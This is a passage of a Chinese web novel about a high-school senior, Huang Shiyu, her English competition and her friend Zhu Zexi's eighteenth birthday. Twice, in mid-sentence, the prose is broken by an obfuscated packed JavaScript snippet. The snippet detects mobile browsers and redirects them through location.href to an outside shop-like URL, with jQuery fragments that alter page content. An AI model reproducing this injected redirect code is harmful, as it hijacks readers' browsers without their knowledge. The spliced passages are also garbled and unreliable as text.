“啊,那无所谓吧,画得好不好也没啥影响啊,”魏闲无所谓地耸耸肩,继续拿起手机上下滑动。 祝则溪没有搭话,只是轻轻坐在床边,手机上也没有收到黄时雨新发来的消息。 一直等祝则溪拿起衣服走进浴室,齐章年才压低声音跟魏闲说,“魏闲,祝则溪额外画的那些画对他来说可重要了,也特别有影响,你别乱说。” 魏闲沉默了几秒,把手机往床上一扔,好奇地坐起来,“是不是他一直在画的那个女生啊,我之前好像看到过。” 齐章年抬头,确认浴室还在放水,“对,那个女生是他女神!” 水声停止,祝则溪擦着头发从冒着热气的浴室里走出来,第一件事就是看手机上有没有收到新消息。 他本来不抱希望,但消息栏里的消息还是太出乎意料了。 是黄时雨三分钟前发来的,“你睡了吗?” 祝则溪回复:“还没有,你怎么也还没睡啊?” 对面并没有回答这个问题,而是继续询问,“你在基地忙吗?” 祝则溪一时语塞,连打了好几条消息都删除了,最后只发出去几个字,“也还好,很充实,你们是不是快开学了?” “对啊,就是大后天开学,真的太太太太快了,感觉什么都没干就开学了。” 祝则溪看着这些文字,脑子里不由自主地浮现出黄时雨说这些话的语气和表情,嘴角也不知道什么时候自动上扬了。 他走到阳台上,对着听筒发出一句语音,声音温柔得不像话,“好,我知道了,那你早点休息。” 很快,对面传来语音回复,“你也早点休息哦。” “你也早点休息哦,”祝则溪每点击一次,就放到耳边听一次,等他反应过来的时候,连黄时雨这句话的每一个气口都能倒背如流了。 祝则溪收起手机,没有立刻回到床上,而是继续在阳台上感受自由的风从脸上徐徐吹过,虽然带着一丝凉意,但意外地让人平静。 夜晚的风总是更加疗愈人心。 “还有28天,”祝则溪看着备忘录里的“英语竞赛决赛”时间,唇齿间发出一声轻笑,“快了。” 8月16日,高三生活正式拉开序幕,这一整年的鏖战从这一刻起正式开始。 “苗苗,高三第一天,要加油哦!” 黄时雨刚在餐桌旁坐下来,第一口早饭还没送到嘴里,妈妈就在对面好心提醒。 黄时雨缓缓放下手里的筷子,长长地叹了口气,“哎,高三实在太可怕了,也不知道我这几次猛烈的进步能不能保持住。” “别紧张,爸爸妈妈都在呢,一步一步走就行,”黄爸爸抬手轻轻拍了一下黄时雨的肩膀。 “好,没问题,”黄时雨的每次叹息都仅仅只能维持两秒钟,下一秒就又变成了那个活泼开朗的样子了。 开学第一天是除了周末以外,唯一可以八点到校的日子。 黄时雨靠在后座椅背上,树枝间隙间投下的斑驳树影、江边来来往往散步的人、电线杆子上来去自如的鸟儿都跟高二经过时并无二致,只是这一次,黄时雨的人生又进入了一个全新的阶段。 校门口,学生们三三两两地走进学校。由于目前只有高三一个年级提前返校,所以整个学校的生机还没有完全恢复过来。 黄时雨随着人流往二楼走,这也是最后一天在二楼上课了。毕竟等一会儿的开学典礼结束后,整个高二年级都要集体往楼上搬。 从高二升入高三,这是最具象化的表达。 老赵今天来得格外早,站在讲台上一脸严肃地环视着台下的同学,每一位同学在教室门口打报告,老赵都会投以一记审视的眼神,然后才在鼻腔里缓缓吐出一个“嗯”。 黄时雨作为全班最后几个到教室的,自然也接受到了同样的“审视”目光。 在老赵的眼皮底下,每一位同学都规规矩矩,安静地不像第一天返校的正常状态,黄时雨和吴笙笙也只敢偷偷对视,然后立刻埋头沉浸到学习之中。 老赵清了清嗓子,才缓缓开口—— “同学们,今天你们正式成为高三学生了,高三意味着什么,自然不用我多说,这一年,大家要做好身体和心理的双重准备,不管再艰难,再辛苦,都要努力挺过去,只要挺过去,就是最大的胜利!” 老赵讲的话和开学典礼上校长讲的话几乎一模一样。 只不过,一个是跟同学们在教室里说;而另一个,是让同学们站在太阳底下听了一个钟头。 “今天的开学典礼到这里就全部结束了,希望各位高三的同学,可以打起精神,不畏艰难,勇往直前!” 台上话音刚落,台下的同学就匆匆鼓掌,毕竟身上还有搬教室的重任,节约一点时间总是好的。 每一年搬教室,黄时雨作为班长都是主要负责人,今年也不例外。 趁着同学们收拾书本的功夫,黄时雨提前安排了几个男生去打扫新教室,又安排了几个女生去收拾黑板和讲台。 确认新教室已经打扫完毕,所有同学才正式进入搬教室环节。 黄时雨把所有书本按照学科分类摆放,先跑了两趟,把卷子和课本抱了上去,又下来把自己和吴笙笙的教辅都放进箱子里,打算两人一起抬上去。 “笙笙,慢点,后面有人!” 吴笙笙在前面抬着箱子,倒退着往前走,时不时还要回头避开上上下下的人群,“我看着呢,没事。” “你说,祝则溪和齐章年的东西怎么办?” 吴笙笙一瞬间表情愣住了 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黄时雨拿着笔记本走到一班新教室门口,教室里没有一个闲人,所有人都在忙着擦桌椅,收拾课本,黄时雨也不方便进去,只好把本子交给坐在门口的同学,请他帮忙放到祝则溪的桌子上。 “黄时雨,等一下,”背后突然传来罗亦芃的声音。 他快步从教室最后面跑出来,头发被汗水浸湿,一根一根地搭在前额上。 “怎么了?” 黄时雨不明所以地转身。 罗亦芃从背后拿出两个可爱的、毛绒绒的小兔子挂件,在黄时雨面前晃了又晃,“我暑假出去玩了几天,我看景区这个挂件还挺好看的,想着你应该会喜欢,就买了两个,你一个,吴笙笙一个。” 罗亦芃故意把最后两句话咬得很重。 黄时雨确实对这些可爱的小玩意毫无抵抗力,她从罗亦芃手里轻轻接过小兔子挂件,毛绒绒的手感摸起来特别舒服,好像具有抚慰心灵的重要功效。 “好看诶,很会选嘛罗亦芃,谢了,”黄时雨摇晃着手里的小挂件,沐浴在走廊的阳光下,正偏头笑着。 罗亦芃下意识摸了摸鼻子,也回复了一个微笑,“不客气,快回教室吧。” 高三不愧是高三,开学第一天就直接上课,同学们搬教室、打扫清洁、整理书本都一直被班主任催着,黄时雨原本以为收拾教室至少需要一个小时左右的时间,结果仅仅半个小时就完成了,上午剩下的时间竟然还完完整整上了一节半物理课。 各科老师还是按部就班地按照一轮复习的顺序继续往后上课,只是上课的速度相较于高二又加快了些,经常是这也不讲、那也只是提一下,结果一节课就复习完好几章,只有学生们课后补作业的时长在大大增加。 晚上放学回到家的黄时雨,看着桌上满满当当却一片空白的作业,重重地揉了揉太阳穴,一边写一边盘算着学习时长恐怕又要继续往后延长了。 “诶奇怪,对面怎么还不亮灯啊,”黄时雨拉开窗帘,看到对面窗户里依然是一片黑暗,心想真是越来越搞不懂那个“学伴”在想什么了。 难道转学了,还是跟祝则溪一样去美术集训了,或者说搬家了,黄时雨在心里列出了好几种可能。 不过所有这些都指向了同一个结果:黄时雨高三这一年,恐怕没有“学伴”陪同了。 41. 第四十一次招惹 开始美术集训已经快半个月了,任凭齐章年用什么方式引诱,祝则溪都不为所动,从来不陪着他出去吃饭,理由是:每天都要多画一幅画的人,没那么多空余时间。 “祝则溪,今天学校开学了,咱们今天晚上总能出去吃一顿了吧,就当是庆祝顺利成为高三学生!” 距离下课还有最后五分钟,齐章年已经快坐不住了,凑过来向祝则溪提出今日的外出聚餐计划。 和之前一样,祝则溪头都没抬。 “不……”那句拒绝的话刚到嘴边,祝则溪突然又觉得好像出去吃一顿改善一下生活也不错,又把话头拐回来,“今天可以,那就去吧。” 齐章年满意地比了一个“OK”的手势,把手机屏幕转向祝则溪,压低声音,“今天咱们去这家,好评很多,绝不踩雷!” 培训老师的那句“下课”话音刚落,齐章年就拉着祝则溪快步往校外跑,“咱们得早点过去,不然排队要排很久!” 还好今天是周三,餐厅里人不多,两个人在门口等了十来分钟就等到座位了。 这是一家韩国料理店,整体的装修风格很温馨,暖黄色的灯光洒在各色菜品上,折射出靓丽的、鲜嫩的色泽,勾得人馋虫直叫。 “你是不是还挺习惯在基地的生活啊,感觉你适应得挺好的。” 齐章年一边大快朵颐,一边趁着吃饭间隙说上几句。 “也不怎么习惯,还是待在满城好。” 齐章年激动得一拍手,“我也是,家里的床多大、多宽敞、多舒服啊,而且想吃什么都能吃到,哪像这里,食堂来来回回就那几个菜,早就吃腻了,宿舍的床也很窄,每次翻身都要摸着床栏,生怕一不小心掉下去……” 齐章年一口气把基地的各个方面全都吐槽了一遍,然后得出最终结论:毫无优点,全是弊病。 祝则溪忍不住笑,却并没有顺着他的话继续往下说,“我想回满城,是想念坐在书桌前,跟黄时雨一起学习的时光。” “噗……”齐章年差点没把刚喝下去的茶喷出来,“确实确实,我早该猜到的,不过不是我说你,你与其在这儿思来想去的,不如晚上多找她聊聊天,增进一下感情,来点实际的不好吗?” 祝则溪毫不犹豫地摇头,“不行,她的学习才是最重要的,我不能因为自己的感情耽误她的学习时间,这不对也不应该。” 吃了一口饭,祝则溪又补充,“但是如果她愿意主动找我说话的话,我很乐意当一个倾听者。” 说曹操曹操就到,祝则溪的手机突然亮起,屏幕上是黄时雨刚刚发来的新消息。 “恭喜我们正式升入高三,撒花!” 祝则溪最近像是得了什么怪病,不管黄时雨发的什么消息,他都会看着看着就忍不住笑出来,坐在对面的齐章年早已习以为常,见怪不怪。 他飞速打字,“同乐同乐。” 又觉得有点冷淡,赶紧追加了一个小熊作揖的表情包。 那边继续发来消息—— “我现在终于明白你之前说的需要人陪的是什么意思了,我跟你说,我家对面有一个男生,估计也是高中生,从我的卧室能正好看到他的书桌,之前每天晚上我们都是一起学习的,但是从今年暑假开始他就不见了,我唯一的学习搭子就这样凭空消失了!” 祝则溪的心里猛然一震! 齐章年见他的筷子突然悬在半空,脸上突然出现慌乱的神色,便赶紧询问,“咋了?” 他不可置信地反复看了好几遍黄时雨发来的这段长文字,像是想从中找到一点蛛丝马迹证明黄时雨没有发现对面的人就是自己。 祝则溪咽下口水后才缓缓抬头,把屏幕上的消息指给齐章年看,“你看,你说黄时雨会不会发现对面是我了?” 齐章年认认真真、一字不落地通读了一遍,半晌才不以为然地耸耸肩,“首先,她目前还不知道;其次,就算知道了又能怎么样呢?” “不怎么样,只是现在还不是说的时候。” 祝则溪用筷子摆弄着碗里的菜,抬头正对上齐章年疑惑的眼神,忍不住又补充道,“再等等吧。” “准备等多久?” 祝则溪又沉默了,等了好一段时间才开口,“高考结束吧。” 一年又一年,匆匆又秋天。 满城一中终于又迎来了新一届的高一新生,学校里拉满横幅,校门口吵吵闹闹,一串串叮咛和嘱托被新生们带进校园,整个学校又重新焕发出新的生机和活力。 黄时雨站在走廊上,看着楼下陆陆续续走进教室的高一新生,想着自己曾经也是这样,对高中生活充满了未知的期待和恐惧。而现在,这些所有的“未知”都变成了“已知”,时间像一双无形的手,推着每一个渴望长大的孩子往前走,直到他们有一天站在这一阶段的顶端才暮然回首,发现所有的快乐、悲伤、幸福、痛苦都变成了人生的勋章,缝合在高中生活的记忆里。 教室背后的黑板报也被黄时雨亲手擦掉,按照老赵的指示,左上角写着“高三宣言”,整个右半部分则写着每一位同学的“目标院校”。 那一幅曾带给三班荣誉的黑板报,如今也被无聊的横线竖线以及夹杂在纵横之间的“理想”一步步填满。 黄时雨不仅完成了自己班的新黑板报,也帮助一班完成了新黑板报,正如一年前祝则溪带着他的美术功底突然降临那样。 英语竞赛初赛在满城一中举行,整个满城及周边城市的参赛选手都要专程前来参赛,黄时雨是那种一遇到一点大事就容易失眠睡不着的“焦虑型选手”,前一晚被妈妈提醒早点休息,养精蓄锐后,躺在床上翻来覆去了好几遍,又拿起手机回复了几个表示关心的朋友的微信,才终于进入了浅层睡眠。 初赛的题目还不算太难,对于黄时雨来说还算得心应手。 不过整个考场内的考生人数比较多,至于最后能不能成功进入决赛,黄时雨心里也没有百分之百的把握。 “怎么样啊,难不难,有把握吗?” 看到黄时雨回到教室,吴笙笙赶紧三两下给后座讲完题,转身关心起黄时雨的竞赛情况。 黄时雨双手一摊,“不知道啊,我个人感觉题目不是很难,估计大家应该考得都不错吧。” “你看啊,这说明这套题很适合你做啊,但你适合不代表别人就一定适合,”吴笙笙总是很能读懂黄时雨的心思,就算她不明说,她也一定能准确找出黄时雨内心最希望得到的安慰。 “哎管他的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704557|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正都考完了,能成就成,不能成咱们就凭实力高考呗。” 黄时雨立刻把嘟起的嘴收回去,冲吴笙笙笃定地点点头。 这一点跟祝则溪很不一样。 毕竟作为黄时雨第一次也可能是高中阶段最后一次竞赛,祝则溪在昨天晚上竟然连一句加油打气的话都没有! 今天由于为了竞赛考试耽误了两节课,黄时雨晚上的学习担子不得不更加重了。 在客厅随便应付了几口妈妈提前弄好的蒸饺,黄时雨又钻进书房开始了高三的学习大业。 平时回到书房总会首先看一眼手机消息的习惯,在今天也被彻底改变。 一轮复习的作业又精细又琐碎,黄时雨写着写着就开始有点抓狂了,特别是这些物理、化学之类的,明明是以计算为主,却非要要求整理基础定义,还要一字不落地填上去,黄时雨不得不一边翻书一边写,导致效率越写越低。 突然,被随意放置在枕头边的、万年不响的手机竟然响了,让黄时雨本就烦躁的心情中更是添了一把火。 屏幕上显示了一串数字,黄时雨估摸着可能是推销或者诈骗电话,也没有称呼,直接上来就是一句,“真不是我凶,你要不看看现在都几点了,这个时间还要打这种电话你觉得合适吗?” 对面明显愣了一下,随即传来一声熟悉的、清脆的男声,“我是祝则溪。” 好像确实没有保存过祝则溪的手机号,黄时雨的声音不自觉放软了几分,只好立刻切换语气,小心翼翼地为自己刚才的语气和态度诚恳地道歉,“不好意思啊,我写作业给我写烦躁了,不是故意凶你的,你别生气好不好?” “我不生气,”对面传来几声努力控制住的笑声,“只是暂时还需要适应一下,因为这是你第一次凶我。” 黄时雨尴尬地想马上找个地缝钻进去。 “对了,你今天的初赛感觉怎么样?” “我倒是觉得考得还行,题目不怎么难,但是也许大家都考得好呢,也不好说。” 果然跟祝则溪猜测的一模一样,黄时雨本身就是一个对自我要求很高、追求完美和全力以赴的人,她需要的从来都不是摇旗呐喊,而是有人告诉她无论输赢,皆是体验。 这也就是祝则溪想了很久决定昨天晚上暂时“消失”的原因。 “没关系,不管是什么结果,都是一种人生体验,这样想可能就会轻松一些。” 黄时雨先是发过去一个“嗯”,后隔了几分钟,又补上一句,“不过我其实挺想来通林市参加决赛的。” 祝则溪刚放下手机,齐章年就从床上探出头来,“祝则溪,你今年生日打算怎么过啊,毕竟这可是你的18岁生日哦。” “没想过, ”祝则溪拿起一套干净的衣服准备进浴室,“就当成普通的一天就行了。” “那怎么行啊!” 浴室传来水流声,彻底把齐章年的话隔绝在祝则溪的世界之外。 不行,齐章年关掉手机,眼睛直勾勾地盯着天花板,像是陷入了某种沉思状态。 半晌,黄时雨发现齐章年刚刚更新了一条朋友圈—— “好兄弟马上就要过18岁生日了,朋友们有没有什么礼物推荐啊(已屏蔽本人)” 42. 第四十二次招惹 升入高三后,老赵又突然制定了好多新规矩—— 比如每周一早自习必须朗读教室后方黑板报上的“高三誓言”三次,又比如晚上临睡时必须坚持每晚做五个仰卧起坐锻炼身体,还比如说教室里的座位必须按照上一次阶段性考试的成绩来划分…… 黄时雨和吴笙笙就这样从两年同桌变成了各自为阵、分道扬镳的人。 “黄时雨,出来一下,”徐霄老师在窗户边朝教室里大喊,惹得同学们纷纷侧目关注。 不用问,肯定是来通知初赛成绩的。 黄时雨心领神会地点了一下头,放下手里的笔和本子,快步走出来。 这才发现徐霄老师背后还站着一个女生。 女生身上穿着“石符中心校”的校服,校服过于宽松的尺码搭在女生娇小的身躯上有点不和谐,除了脑袋,这个身体线条基本都是往下走的,特别像小孩子偷穿了大人的衣服,显得人很懒散,也很没有精神。 黄时雨怕女生觉得尴尬,眼神不敢在她的衣服上停留太久,只是草草略过一眼。 女生朝黄时雨微微鞠躬致意,黄时雨也立刻微笑着冲她点头。她的脸上呈现出一种意料之中的平静和处变不惊,丝毫没有因为自己的穿着打扮而影响到眼神中的笃定和自信。 两人跟着徐霄老师进入办公室。 徐霄老师坐到办公椅上,直接开门见山:“这次英语竞赛,整个满城只有你们两个人通过了,黄时雨和潘倩,祝贺你们拿到了进入决赛的资格。” 黄时雨虽然一开始就隐隐有了这种预感,但当自己亲耳听到的时候还是不由自主地小声“耶”了一句,原本正表情严肃的徐霄老师也忍不住笑了出来。 只有旁边那个女生依然是一脸平静,仿佛这件事对她来说并不意外。 黄时雨很快收住了自己的表情,徐霄老师靠在椅背上,这才缓缓开口,“我们的决赛是这个月20号,估计你们应该都知道了,学校本来是安排我带你们去的,但是因为那两天我家里有点事走不开,你们就自己去,路上有任何问题都可以发消息问我。” 黄时雨和潘倩对视了一眼,虽然稍微有点惊讶,但还是立刻应下来。 “徐老师,那我们要自己订酒店,买高铁票这些吗?” 徐霄老师连忙摆手,“不用,所有的交通和酒店都由满城教育局全部安排好,你们只需要按时去参加决赛,发挥出你们的最佳水平就可以了,其他的都不用操心。” “那这个决赛该怎么准备呢?” “用这个,”徐霄老师从抽屉里拿出两本已经装订好的小册子,一人一本递给两人,“这上面的题是最近五年考过的真题和我自己出的变形,针对性还是不错的,够你们拿去准备了,要是还有什么不懂的,欢迎随时来问我。” 黄时雨草草翻阅了一下,整本小册子密密麻麻,题量还是非常大的。 好吧,这些天又有的忙了。 徐霄老师把潘倩单独留了下来,黄时雨则独自离开办公室回到教室。 高三的时间紧迫,内容繁杂,黄时雨渐渐发现老师们安排的复习任务并不一定适合于每一个人,于是她便开始按照自己的节奏进行复习,根据这段时间的复习情况给自己制定相应的复习规划,只做对自己成绩提升有价值的习题。 老师们也几乎不收作业,这样就给了黄时雨更多可以自由安排学习任务的时间和机会。 学校安排的高铁是19号下午三点半出发的,黄时雨被迫提前一天就在家收拾好了行李,因为爸爸有事中午不能来接自己了,黄时雨第二天早上又拖着行李箱到学校上了一整个上午的课。 这个教室的面积本就不富裕,黄时雨周围已经被箱子和试卷袋子摆满了,现在又外加一个行李箱,黄时雨硬是一整个上午连腿都伸不直,只能憋屈地坐在椅子上,等待时间一分一秒地流逝到下午。 “笙笙,走,去吃饭!” 黄时雨站起来,把行李箱塞到课桌底下,好不容易给坐在靠墙位置的吴笙笙留出了一个出门的通道。 “还是去食堂吧?” 吴笙笙艰难起身,一步一顿地越过重重叠叠的“书山”才挤到教室门口。 “对啊,出去吃的话怕赶不上下午的高铁了!” 食堂里依旧人满为患,两个人站在门口浅浅观望了一下,找准一个不起眼但排队人数不那么多的队伍迅速冲过去。从开始排队到找到座位吃上饭,总计只用了五分钟不到。 “苗苗,你是后天什么时候回来啊?” “我看看啊,”黄时雨拿出手机,划出一张时间安排表,“上午九点半的高铁,估计到时候能赶上下午上课。” 黄时雨吃饭从来没有这么快过,她一大勺一大勺地把饭菜送到嘴里,吃完后又小跑着把餐盘放到“餐具回收处”再折返回来,“走了啊,笙笙,祝我考试顺利!” 吴笙笙比出一个大拇指,“祝你一切都顺利!” 在去高铁站的路上,黄时雨的手机一直震动个不停,是徐霄老师在三人小群里发各种女生出门需要注意的安全事项,其中还不时穿插着几句“到了吗”“汇合了吗”“高铁有没有晚点?”之类的小关心。 黄时雨在高铁站成功与潘倩汇合后,才一起在群里回复徐霄老师的消息,“已汇合”后又紧跟着一句“已汇合”。 “好的,那你们俩注意安全!” 虽然是第一次跟潘倩单独相处,但对于黄时雨这样的超级外向型性格的人来说,聊到一起完全是自然而然的事。 距离发车还有差不多半个小时,两人一起坐在检票口的长椅上等待广播通知。 “潘倩,你准备得怎么样了?” 察觉到潘倩似乎有点拘束,黄时雨主动把手搭在她的手上。 那是一双与她的实际年龄极不相符的手。 指节因长期握镰刀而微微变形,还带着些青绿色的草痕。指甲剪得很短,大拇指的边缘还留着几处细纹,看起来已经有些年头了。 当黄时雨握住她的手时,潘倩的手指轻轻抖动了一下,却并没有抽走。 “我觉得还可以吧,英语毕竟是我最擅长的,”潘倩偏头看了一眼黄时雨,又在两人对视时笑起来。 果然,人在聊到自己擅长的事情时眼睛里总会闪烁出怎么也盖不住的光芒。 “嗯……”潘倩欲言又止,犹豫了好一阵最后还是鼓起勇气说了出来,“那个,这是我第一次坐高铁……” 黄时雨立刻会意,“没事,这还是我的第一次呢。” 看到潘倩疑惑的表情,黄时雨又补充道,“这是我第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720577|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次带着我的好朋友坐高铁哦,如果一会儿有什么带得不好的,也请你多多包涵!” 潘倩不好意思地发出一声轻笑,随即点点头,顺着黄时雨的话半开玩笑地说,“好,我会包涵你的。” 车站广播响了。黄时雨和潘倩同时站起来,走过去排在了队伍最后面。 “一会儿你把身份证放在闸机口上,然后对着前面的屏幕人脸识别就好了,进去之后反正我们坐一起,一起去找座位就行啦!” 黄时雨站在潘倩后面,在她耳边详细讲解了之后要面临的全部流程,潘倩每听一句就认真点一下头。 顺着人流往前走,两人顺利通过检票口来到月台,并根据地标颜色找到了自己的车厢和座位。 满城是这趟高铁的始发站,所以车上人还不多,黄时雨凭借着身高优势,把自己的小行李箱和潘倩的书包放到了头顶的行李架上。 收拾完毕,黄时雨终于在座位上坐下了。 “哦对了,这个座椅靠背是可以调的,你抬一下这里,往后一靠就好了,”黄时雨一边操作一边斜着身子给潘倩示范,潘倩也有样学样,很快调整到了合适的倾斜度。 “怎么样啊我的表现,打个分吧?” 黄时雨朝潘倩摊开手,潘倩先是愣了一下,随即反应过来,在黄时雨的手心上写下三个数字,“我觉得是……100分!” 黄时雨和潘倩对视一眼,笑容立刻爬上了两个女孩的脸颊,两人同步靠到座椅后背上,打算浅浅休息一会儿。 黄时雨的手机在口袋里不停震动,拿出来发现黄曲山和黄妍一人发了十几条消息过来,内容无非就是关心孩子上车了吗,出发了吗,跟同学相处得怎么样之类的,黄时雨按照发送时间逐条一一回复。 刚回复完爸爸妈妈的消息,祝则溪也发来问候—— “出发了吗?” 黄时雨快速打字,“出发了十几分钟了。” "今天是你17岁的最后一天,明天就正式踏入成年人的世界了哦,你紧张吗?" 祝则溪打字的手指突然停下,黄时雨是什么时候自己的生日的?! 祝则溪趁讲台上老师不注意,伸手拍了拍齐章年的胳膊,语气突然变得生硬疏离,跟平时的他判若两人,“齐章年,是你跟黄时雨说明天是我生日的?” 齐章年被审问得猝不及防,眼神非常不自然地瞟向别处,“跟……跟我有什么关系啊,你们认识一年多了,知道你的生日也很正常吧。” 祝则溪并不理会齐章年的解释,直接点破,“我就只跟你一个同学说过我的生日,哪有第二个人知道。” 祝则溪的语气十分冷淡,眼神像冰锥子一样直直地捅进齐章年的视线里。 齐章年发现祝则溪是真的生气了,也知道瞒不过他,只好实话实说,“你别生气呗,是我之前发了一个朋友圈,就是关于送朋友生日礼物的,然后黄时雨猜到了之后就来问我,我就告诉她了。” 祝则溪忍不住叹气,语气也逐渐软下来,“给别人准备生日礼物这种事情很麻烦,你又不是不知道,现在高三这几个月对她来说多重要,我的生日怎么可以挤占她的时间,专门花费时间给我准备生日礼物的意义到底是什么,你觉得……” 祝则溪突然哽住,“你觉得这样合适吗?” 43. 第四十三次招惹 酒店离考场不算远,地铁三个站就到了。 黄时雨用房卡刷开门,意外发现酒店的配置竟然比自己想象的好很多。 “不错诶,咱们教育局居然这么舍得,给我们订这么好的房间,”黄时雨一边参观一边啧啧赞叹。 房间面积很大,客厅和两间卧室是分隔开的,卫生间也很宽敞,有单独的淋浴间和浴缸,房间风格是奶白色的,整体氛围很适合年轻小女孩。 “你睡哪间啊?” 潘倩站在卧室门口,右手拎着书包,像是在等待黄时雨发号施令。 “我都行,你选吧,”黄时雨在卫生间边洗手边回答。 潘倩把两个房间都看了一遍,然后指着靠近门的那间说,“那我就住这间吧。” 黄时雨想都没想就同意了,“好,那我住另一间!” 黄时雨拖着行李箱走进自己的卧室——这个房间比自己在家的卧室还要大,什么梳妆台、书桌都有,甚至还有独立小阳台。 黄时雨瞬间反应过来刚刚看过潘倩的那间卧室,印象中应该没有这样的配置。 换句话说,她故意选择了条件一般的那间。 黄时雨把行李箱铺在地上,拉开拉链,露出最上面塞得满满当当的一大袋零食。 她把洗漱用品拿出来放好,又把明天要穿的衣服用衣架整整齐齐地挂起来。 一切都收拾妥当后,黄时雨也来不及休息了,立马拿出之前徐霄老师整理好的复习资料,根据自己勾画的重点内容又从头到尾完完整整温习了一遍。 复习到快十一点,黄时雨的困意上来了。 她起身揉了揉眼睛,又伸了个懒腰,走出房间准备洗漱,听到潘倩屋子里还有书页翻动的沙沙声。 “潘倩,早点休息哦,明天六点半就要起床,”黄时雨靠在门框上小声提醒。 里面的翻书声戛然而止,“哦好,我还有一点点内容就看完了。” 黄时雨快速洗漱完成,腿一蹬,就钻到被子里把自己裹得严严实实的。 当然,躺在床上的第一件事不是睡觉,而是看一会儿手机。 手机里全是来自亲朋好友的“加油打气”—— 吴笙笙:加油呀,你可以的! 赵然:黄时雨,考的全会,蒙的都对! 黄曲山:苗苗加油! 黄妍:冲啊苗苗,你是最棒的! 当然,也有不打鸡血的版本—— 祝则溪:好好休息,晚安。 黄时雨逐一回复了每个人的消息,大多都是“谢谢,我会加油的”,只有给祝则溪回复的是“好,你也好好休息”。 随后又补充了一句,“现在我只能提前说一句生日快乐啦,小祝同学,明天考完试,我再当面给你庆生!” 尽管从上床到闹钟响的时间并不短,但黄时雨本身心态就容易紧张,加上身边人都很看重这件事,所以昨晚整体的睡眠质量并不高,以至于早上六点半的闹钟还没响,黄时雨就已经睡意全无了。 她翻了个身,从床头柜上摸起手机,手机上显示时间为“5:52”。 从这一刻开始,黄时雨就开始频繁地惊醒,几乎达到了每隔五分钟就醒一次的程度。 黄时雨没办法,只好提前起床再次检查要带的东西有没有准备齐全,路线有没有查清楚,还有没有哪里没有复习到位…… 一切都准备就绪。 “潘倩,你紧张吗?” 这次的考场安排在一个中学里,同学们都穿着统一的校服,只有外校来参加竞赛的同学们穿着自己的衣服,在熙熙攘攘的人群中显得格外突兀。 又特别是黄时雨听从了妈妈的建议,专门穿了一件桃红色的长袖,据说是“鸿运当头”的意思。 “有点,”潘倩忍不住打了个哈欠,“我昨晚都没怎么睡着。” “我也是,”黄时雨没想到居然还有人跟自己一样在竞赛前失眠了,“我从五点多就一直在惊醒。” 两人的考场都是303号,在校门口安检后在教室门口又要再次安检,确认身上没有任何违禁物品后,把书包放在讲台旁边,方可入座。 座位大概是按照地区划分的,黄时雨的座位刚好在潘倩的正前方。 “叮铃铃——” 一道急促的铃声宣布着考试正式开始。 黄时雨草草翻阅了一下试卷,发现最后的作文似乎是自己从来没有准备过的类型。 她的心瞬间被提到嗓子眼上。 黄时雨连做了好几个深呼吸,努力把思维放到现在正在做的题上,并在心里一遍一遍告诉自己:别急别急,船到桥头自然直。 前面的题目做得都很顺利,一直到作文几乎都没有出现什么磕磕绊绊。 黄时雨皱着眉头,一遍一遍把作文的题目要求反复斟酌,确认是自己真的没有准备到的,只好坚持着、硬着头皮往下写。 时间还剩下最后半小时,黄时雨一边写一边在脑子里不断搜索类似的作文素材。 黄时雨迷迷糊糊地好像有点印象,似乎徐霄老师之前有提过一次,黄时雨靠着这仅存的一点记忆,给这篇作文收了一个不算太好、但也不算太糟的尾。 上午的笔试结束,下午还有演讲环节。 演讲环节是按照抽签顺序,一个一个进教室的,这也是黄时雨最担心的,毕竟这么多年都是靠做题撑过来的,真要说口语水平,那确实不敢恭维。 在走廊上候场的同学都来不及交头接耳,各自握着资料自顾自地做最后的口语练习。 “下一位,黄时雨!” “来了,”黄时雨把资料一股脑放回书包里,快速整理了一下仪容仪表。 “加油哦,”听到潘倩坚定的语气,黄时雨回头狠狠点了一下头。 教室里三位老师正在翻看手里的资料,看到黄时雨进去后,坐在靠门这一侧的老师最先开口。 ——“Please introduce yourself briefly.” 黄时雨按照自己事先准备好的内容不紧不慢地讲出来,内心的紧张感也慢慢开始削减,特别是面试官所提的问题都是自己提前准备到的,黄时雨的语气语调也逐渐变得自信。 “耶,终于结束啦,”黄时雨把书包随意搭在肩上,跟潘倩一起悠闲地往校门口走,跟走进校门时紧张得发抖的样子判若两人,“你待会儿去哪里吃晚饭啊?” 黄时雨昨晚就已经提前跟潘倩说过今晚要和朋友一起吃饭,所以考完试就不会和她一起回酒店了。 “就在酒店周围随便吃点吧,我都可以的。” “可以呀,那你回去注意安全哦!” “好!” 在校门口跟潘倩告别后,黄时雨的手机猝不及防地响起了电话,是祝则溪打来的。 应该是问我考试结束了没,黄时雨在心里小声嘀咕—— “喂,祝则溪?” 对面和自己这边一样嘈杂。 “黄时雨,看右边!” 尽管校门口人来人往,但祝则溪的身高和外貌依然格外突出,黄时雨转头一眼就发现了他。 他穿着白色衬衫,直筒牛仔裤,头发用发胶稍微定了一下型,露出一点点额头,怀里正抱着一大束花,映衬着他怎么也藏不住的笑意。 看到黄时雨朝自己跑过来,祝则溪脸上浮现出许久未见的激动和雀跃。 “等久了吗,寿星?” 黄时雨跑到祝则溪面前终于停下,一边喘气一边询问。 她看起来还是那么有活力,应该考得挺不错的吧,祝则溪在心里默默盘算。 寿星笑着摇头,“没有,我刚到不久,这束花送给你吧!” 